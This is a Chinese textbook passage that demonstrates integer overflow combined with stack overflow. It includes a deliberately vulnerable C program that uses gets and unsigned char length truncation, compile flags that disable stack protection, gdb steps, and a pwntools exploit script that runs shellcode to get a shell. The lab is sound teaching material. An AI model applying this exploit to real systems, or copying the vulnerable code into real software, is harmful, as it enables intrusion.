在C 语言中,当进行加、乘运算时,计算的结果超出数据类型所能表示的范围,则产生溢出。其中,整数溢出分为三种情况:
l 对整数型变量进行运算时,结果超出该数据类型所能表示的范围。
l 将较大范围的数存储在较小范围的变量中,造成数据截断。
l 无符号数运算结果小于0 时。
整数溢出一般不能单独利用,主要是用来绕过程序中的条件检测,从而实现漏洞利用的目的。下面通过案例,演示利用整数溢出和栈溢出获取系统shell 的过程。
(1 )编写C 语言代码,保存文件名为 “vulInt.c ” ,代码如下所示:
#include#include char buf1[100]; void dofunc() { setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 1, 0LL); char buf[100]; gets(buf); unsigned char passwd_len = strlen(buf); if (passwd_len >= 4 && passwd_len <= 8) { strncpy(buf1, buf, 100); } } int main(int argc, char* argv[]) { dofunc(); return 0; }
代码 “unsigned char passwd_len = strlen(passwd) ” 明显存在溢出漏洞,strlen 函数的返回类型是size_t 类型,并存储在无符号字符型数据类型中。因此,任何大于无符号字符型的最大上限值256 都会导致整数溢出,所以,当密码长度是261 ,将被截断并存储为5 ,绕过 “if (passwd_len >= 4 && passwd_len <= 8) ” 代码的边界检查,从而实现利用 “strncpy(buf1, buf, 100) ” 代码实现栈溢出。
(2 ) 执行 “gcc -m32 -g -fno-stack-protector -z execstack vulInt.c -o vulInt ” 命令,编译程序,再使用gdb 调试程序。结果如图11-19 所示。

图11-19
(3 )执行 “cyclic 261 ” 命令,生成261 个字符:aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacp ,结果如图11-20 所示。

图11-20
(4 ) 调试程序,运行程序至输入参数处,输入步骤3 生成的字符,结果如图11-21 所示。

图11-21
(5 ) 继续运行程序,结果如图11-22 所示。

图11-22
由图可知,当输入261 个字符时,成功绕过程序的边界检查,且EIP 中存储的数据为输入的字符。因此,构造特殊的输入字符,可以控制EIP 。
(6 ) 执行 “distance &buf ebp ” 命令,计算buf 与ebp 的距离,结果如图11-23 所示。由图可知,buf 与ebp 的距离为0x6d 。

图11-23
(7 )执行 “x buf1 ” 命令,查看buf1 的地址,结果如图11-24 所示。由图可知,buf1 的地址为0x804a060 。

图11-24
(8 ) 根据 (6 ) 至 (7 ) 获取的数据信息,编写exp 脚本,保存文件名为“vulInt.py ”,代码如下所示:
from pwn import *
context(os = 'linux', arch = 'i386')
pRetAddr = 0x0804A060
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x6d + 4, b'a') + p32(pRetAddr)
payload += "b" * (261 - len(payload))
p = process("./vulInt")
p.sendline(payload)
p.interactive()
执行 “python vulInt.py ” 命令,运行脚本,获取系统shell ,再执行 “ls ” 命令,测试shell 能否正常使用,结果如图11-25 所示。由图可知,漏洞利用成功,并获取能够正常使用的shell 。

图11-25
本文节选自《二进制安全基础》,获出版社和作者授权发布。
